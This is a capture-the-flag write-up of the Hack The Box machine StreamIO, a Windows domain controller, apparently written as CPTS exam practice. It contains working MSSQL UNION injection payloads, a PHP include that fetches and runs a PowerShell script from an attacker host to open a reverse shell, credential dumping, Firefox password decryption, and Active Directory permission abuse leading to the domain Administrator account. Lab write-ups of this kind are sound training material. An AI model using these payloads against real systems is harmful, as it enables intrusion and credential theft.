Skip to content
Archwarden
Go back
HTB: StreamIO
HTB
Windows Medium Retired

HTB: StreamIO

Techniques Subdomain EnumerationManual SQL Injection (MSSQL, WAF Bypass)Hash CrackingPHP Wrapper LFI (php://filter)Remote File Inclusion via evalSQLCMD Credential ExtractionWinPEAS EnumerationFirefox Credential Decryption (firepwd)BloodHound EnumerationWriteOwner / DACL AbuseLAPS Password Read

Summary

StreamIO is a Windows domain controller running a PHP web application over HTTPS. The main site and a watch subdomain are both present. The watch subdomain hosts a movie search feature that blocks automated tools with a WAF redirect to blocked.php, but manual UNION injection in Burp works cleanly. Dumping the users table yields a list of MD5 hashes — hashcat cracks most, and Crackstation picks up the rest. yoshihide’s credentials reach a hidden admin panel.

With a valid session cookie, ffuf finds a debug parameter that accepts PHP stream wrappers. Reading index.php and master.php via php://filter leaks database credentials and a vulnerable code path: master.php passes a POST include parameter directly into eval(file_get_contents(...)), giving remote file inclusion and RCE as yoshihide.

Lateral movement comes in two steps. First, sqlcmd with the leaked db_admin credentials connects to a backup database holding a new hash for nikk37, which cracks and grants WinRM access and the user flag. Second, WinPEAS spots Firefox credential files in nikk37’s profile. Decrypting them with firepwd yields credentials for JDgodd, who has WriteOwner over the Core Staff group via BloodHound. Taking ownership and adding nikk37 to the group unlocks LAPS read access for the DC machine account. The LAPS password authenticates as local Administrator, and the root flag sits on a second user’s desktop.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

Start with a full TCP port scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.12.64 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run the detailed service scan:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.12.64
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: streamIO.htb)
443/tcp  open  ssl/https
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows AD LDAP (Domain: streamIO.htb)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing
  • 443 (HTTPS) is the main attack surface. The SSL certificate SAN reveals DNS:streamIO.htb and DNS:watch.streamIO.htb, giving two hostnames to work with before running any fuzzing
  • 80 (HTTP) shows a default IIS page, nothing there
  • 5985 (WinRM) is open, any cracked credentials with the right group membership will get a shell
  • Clock skew is about 7 hours. Sync before any Kerberos operations

Add both names to /etc/hosts:

sudo nano /etc/hosts
# 10.129.12.64  streamio.htb watch.streamio.htb

Web Enumeration

Port 80 is open, so the first stop is http://streamio.htb. It serves the default IIS welcome page — nothing there. But Nmap already flagged port 443, so switching to https://streamio.htb is the next move. The site is a movie streaming platform with a login page. Accepting the self-signed certificate warning gets you in.

streamio.htb HTTPS site homepage

Default password attempts and basic bypass attempts don’t work on the login page.

streamio.htb login page

While browsing, and scanning in the background, a directory fuzz against the main site finds /admin.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://streamio.htb/FUZZ -k

FFUF finds admin

However, navigating there without credentials returns 403 Forbidden, confirming it exists and is restricted.

Admin page returning 403 Forbidden

The SSL cert SAN already revealed watch.streamio.htb, so browsing to it is the next step. It loads a movie watch site. Wappalyzer confirms the stack is PHP 7.2.

watch.streamio.htb homepage

Wappalyzer showing PHP 7.2 on watch.streamio.htb

Running a subdomain and vhost fuzz with a quick wordlist returns nothing on either host:

ffuf -u https://streamio.htb/ -H 'Host: FUZZ.streamio.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac -k

ffuf subdomain scan against streamio.htb finds nothing new

We know that these pages are running PHP, and we can run a .php fuzz to look for something new.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://watch.streamio.htb/FUZZ -e .php -k

ffuf finding search.php on watch.streamio.htb

search.php comes back. The search form on a PHP backend is worth testing for SQL injection.

watch.streamio.htb search page


SQL Injection — watch.streamio.htb/search.php

Saving the Request and Testing sqlmap

Intercept the search request and send it to Repeater. The response tells us that Movie Streaming is currently unavailable due to Some security issues. So this might be a good target for SQL injection.

Saving the search request to search.req

Burp Suite showing the search POST request

Let’s save this request to a file and test it with sqlmap:

Request saved and ready for sqlmap

sqlmap -r search.req --batch --level=3 --risk=2 --force-ssl

sqlmap being redirected to blocked.php

blocked.php page shown by the WAF

sqlmap triggers the WAF and gets redirected to blocked.php. Automated injection is not going to work here, so manual testing in Burp Repeater is the path forward.

Finding 1: Search Endpoint Blocks Automated Tools but Is Reachable via Manual Burp Manipulation

Manual UNION Injection

Test for SQL injection manually. A plain search for test returns results. Adding a quote and comment:

q=test'-- -

Returns nothing, suggesting the quote breaks the query and the comment terminates it cleanly. The injection point is confirmed.

Burp Repeater showing test query returning results

Commenting out has an effect

Determine the number of columns with UNION SELECT, incrementing until output appears:

q=test' union select 1,2,3,4,5,6-- -

UNION select with 6 columns returning output in positions 2 and 3

Output renders in columns 2 and 3. Now extract useful information:

q=test' union select 1,@@version,3,4,5,6-- -

UNION select returning MSSQL version string

Confirmed MSSQL. Get the current database user:

q=test' union select 1,user,3,4,5,6-- -

UNION select returning db_user

Enumerate databases by iterating db_name():

q=test' union select 1,db_name(5),3,4,5,6-- -

UNION select returning STREAMIO database name

q=test' union select 1,db_name(6),3,4,5,6-- -

UNION select returning streamio_backup database name

Two interesting databases: STREAMIO and streamio_backup.

Enumerate tables in STREAMIO using sysobjects:

q=test' union select 1,(select string_agg(concat(name,':',id),'|') from streamio..sysobjects where xtype='u'),3,4,5,6-- -

UNION select returning movies and users table names with IDs

The users table has ID 901578250. Get its columns from syscolumns:

q=test' union select 1,(select string_agg(name,'|') from streamio..syscolumns where id='901578250'),3,4,5,6-- -

UNION select returning id, is_staff, password, username column names

Dump the table:

q=test' union select 1,(select string_agg(concat(username,':',password),'|') from users),3,4,5,6-- -

UNION select returning all username:hash pairs from the users table

The full dump includes 30 MD5 hashes.

Finding 2: MSSQL UNION Injection Dumps Full User Table Including MD5 Password Hashes

Cracking the Hashes

Save the hashes and crack with Hashcat (mode 0 = MD5):

hashcat -m 0 --user users.txt /usr/share/wordlists/rockyou.txt

Hashcat cracking MD5 hashes from the users table

Hashcat does not crack all of them. Run the remainder through Crackstation:

Crackstation cracking remaining hashes including yoshihide and admin

Note: Do not stop at one tool when cracking. If hashcat with rockyou misses hashes, try Crackstation, other wordlists, or rule sets before giving up. This box required both.

Recovered credentials include yoshihide:66boysandgirls..


Admin Panel Access

All of the credentials were tried at the login page, the only working one was yoshihide’s:

Logging in with yoshihide credentials

Logged in, the site doesn’t look much different except for a logout button now.

streamio.htb site after yoshihide login

However, the admin page at /admin is now accessible. The panel allows deleting users, deleting movies, and leaving messages. Nothing directly exploitable in the UI.

Admin panel accessible as yoshihide

But there are more options. First, capture the session cookie:

PHPSESSID cookie captured from the session

Now we can fuzz the admin panel for parameters using the authenticated cookie:

ffuf -k -u 'https://streamio.htb/admin/index.php?FUZZ=id' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Cookie: PHPSESSID=d83va2qpp5b3d13njac9f6o25v' -fs 1678

ffuf finding the debug parameter in the admin panel

A debug parameter is found. Test it:

?debug=index.php   # returns error

index.php returns error

It’s likely something is preventing the output of index.php. Let’s try a PHP filter.

?debug=php://filter/convert.base64-encode/resource=index.php

PHP filter wrapper returning base64-encoded index.php source

The site spits out a mess of base64. We can decode the output:

echo '<BASE64>' | base64 -d

Decoded index.php source revealing db_admin credentials

The decoded source contains database credentials: db_admin:B1@hx31234567890 but testing these credentials around doesn’t seem to unlock anything new.

Finding 3: PHP Wrapper LFI via debug Parameter Leaks Database Credentials from index.php

Fuzz for additional PHP files in the admin directory with the cookie:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://streamio.htb/admin/FUZZ -e .php -k -H "Cookie: PHPSESSID=d83va2qpp5b3d13njac9f6o25v"

ffuf finding master.php in the admin directory

Let’s read the newly found master.php the same way, via the filter wrapper:

?debug=php://filter/convert.base64-encode/resource=master.php

PHP filter returning base64-encoded master.php source

Decoding the output the same way as before, we get more source code, but there is a very interesting section here.

Decoded master.php showing the eval/file_get_contents include code

The page accepts a POST include parameter, fetches the content of whatever URL or file is provided, and passes it directly to eval(). This is remote file inclusion leading to arbitrary PHP code execution.

Finding 4: master.php Passes POST include Parameter to eval(file_get_contents()), Enabling Remote File Inclusion and RCE


Foothold — RFI via master.php

Setting Up the Payload

Clone ConPtyShell for a proper interactive shell:

ConPtyShell GitHub page

Save Invoke-ConPtyShell.ps1 as con.ps1 in the web root. Create test.php to fetch and execute it:

<?php
system("powershell IEX(IWR http://10.10.16.60/con.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.60 9001");
?>

Start the HTTP server:

sudo python3 -m http.server 80

Python HTTP server started on port 80

Start the listener:

stty raw -echo; (stty size; cat) | nc -lvnp 9001

Netcat listener started on port 9001

Triggering RFI

Capture a GET request to admin/?debug=master.php in Burp and modify it:

Modified Burp POST request to master.php with include parameter

Send the request and the shell connects as yoshihide:

Shell established as yoshihide

yoshihide has no home directory on this machine. The user flag is not here.

yoshihide has no home directory, other users visible


Lateral Movement — sqlcmd to nikk37

The db_admin credentials extracted earlier are for the MSSQL instance running on the box. Use sqlcmd to query the streamio_backup database that was found during the SQLi enumeration:

sqlcmd -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select username,password from users;'

sqlcmd dumping the streamio_backup users table

The backup database contains a new account: nikk37 with a hash not seen in the main database. Crack it:

hashcat -m 0 nikk37.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking nikk37's hash returning get_dem_girls2@yahoo.com

Credentials recovered: nikk37:[email protected]

evil-winrm -i 10.129.12.64 -u nikk37 -p '[email protected]'

Evil-WinRM session as nikk37 with user flag visible


Privilege Escalation

WinPEAS — Firefox Credentials

Transfer and run WinPEAS to automate enumeration:

cp /usr/share/peass/winpeas/winPEASx64.exe .
curl http://10.10.16.60/winPEASx64.exe -o winpeas.exe
.\winpeas.exe

Transferring winPEASx64.exe to the target

WinPEAS output showing Firefox credential files

WinPEAS highlighting the Firefox key4.db path

WinPEAS flags Firefox credential files in nikk37’s profile. Download the Firefox profile directories using Evil-WinRM’s built-in download feature:

cd C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\

Firefox Profiles directory contents

download br53rxeg.default-release

Evil-WinRM downloading the Firefox profile directory

Decrypting Firefox Credentials

Clone firepwd and run it against the downloaded profile:

sudo git clone https://github.com/lclevy/firepwd
python3 firepwd.py -d br53rxeg.default-release

firepwd decrypting the Firefox profile credentials

firepwd output showing four sets of slack.streamio.htb credentials

Four credential sets are recovered for slack.streamio.htb. However, testing them with NXC shows none of them authenticate. But looking closer, the first admin credential and the last user JDgodd seem to be the same user based on the JDg0dd pattern in the admin password. Mixing and matching, the working combination is JDgodd:JDg0dd1s@d0p3cr3@t0r.

Testing JDgodd Credentials

nxc smb 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'
nxc ldap 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'

NXC confirming JDgodd credentials are valid

SMB authentication works. LDAP authentication works. WinRM does not:

evil-winrm -i 10.129.12.64 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'

Evil-WinRM failing for JDgodd

JDgodd is a valid domain account but not in a WinRM-capable group. Enumerate further with BloodHound.

BloodHound Enumeration

rusthound-ce -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -o ./bh -z
bloodhound-start

Note: BloodHound and Burp Suite both default to port 8080. Close Burp before starting BloodHound to avoid a port conflict.

rusthound collecting BloodHound data for streamio.htb

BloodHound startup screen

BloodHound login screen

BloodHound data ingestion in progress

Mark JDgodd as owned and run a Shortest Path from Owned Objects cypher:

BloodHound with JDgodd marked as owned

BloodHound cypher showing outbound paths from owned objects

BloodHound graph showing JDgodd has WriteOwner over Core Staff group

JDgodd has WriteOwner over the Core Staff group. Members of Core Staff have LAPS read access on the DC.

Finding 5: JDgodd Has WriteOwner Over Core Staff, Which Holds LAPS Read Rights on the Domain Controller

Taking Ownership and Adding nikk37 to Core Staff

Take ownership of the group:

bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' set owner "Core Staff" JDgodd

bloodyAD setting JDgodd as owner of Core Staff

Grant full control to allow member manipulation:

bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' add genericAll "Core Staff" JDgodd

bloodyAD adding GenericAll for JDgodd over Core Staff

Add nikk37 so the WinRM session gains LAPS access:

bloodyAD --host streamio.htb -d 10.129.12.64 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' add groupMember "Core Staff" Nikk37

bloodyAD adding nikk37 to Core Staff group

Verifying nikk37 is now a member of Core Staff

Reading the LAPS Password

From the nikk37 WinRM session, read the legacy LAPS attribute on the DC machine account:

bloodyAD --host 10.129.12.64 -d streamio.htb -u Nikk37 -p '[email protected]' get object 'DC$' --attr name,ms-Mcs-AdmPwd

bloodyAD returning the LAPS password for the DC machine account

LAPS password recovered. Confirm it works:

nxc smb 10.129.12.64 -u administrator -p '28O6+3e(/lN#kl'

NXC confirming administrator credentials with the LAPS password

Domain Compromise

impacket-wmiexec streamio.htb/Administrator:'28O6+3e(/lN#kl'@10.129.12.64

WMIExec session established as Administrator

The root flag is not on the Administrator desktop. A second user, Martin, has a Desktop directory and that is where the flag is:

Root flag found on Martin's desktop


Takeaways

How this box helped me prepare for the CPTS exam

  1. This box is more CTF than exam, but the core skills still apply. This box had a lot of gotcha tricks, and exploits that are outside of the scope of the CPTS exam. However, there are still some useful things we can take from it. The SQL injection, PHP wrapper LFI, and Bloodhound enumeration are things you should know how to do. Be aware of this distinction when practicing boxes, the methodology matters more than the specific techniques.

  2. When sqlmap is blocked, switch to Burp Repeater. WAF detection triggers on the specific payloads and request patterns that automated tools generate. Knowing how to manual test with UNION injection in Burp is useful as it does not carry those signatures. The test for the column count (incrementing UNION SELECT until output appears), finding which columns render, and chaining from version to schema to tables to data is a repeatable process worth ingraining.

  3. Use multiple hash cracking tools. hashcat with rockyou missed several hashes on this box. Running the leftover hashes through Crackstation recovered what hashcat did not. On a real engagement or exam with a time limit, do not wait for a single tool to exhaust every rule set before trying another approach. Crackstation is fast for MD5 lookups and requires no setup.

  4. Check every user’s Desktop and Documents when you land as Administrator. The root flag was on Martin’s Desktop, not Administrator’s. On a real engagement this pattern appears when a secondary user account holds sensitive data, files, or flags that the admin account itself does not. After getting administrator access, walk C:\Users and check each profile before concluding the engagement is done. You never know what secrets might point you to the next step.



Previous
HTB: Redelegate
Next
HTB: TombWatcher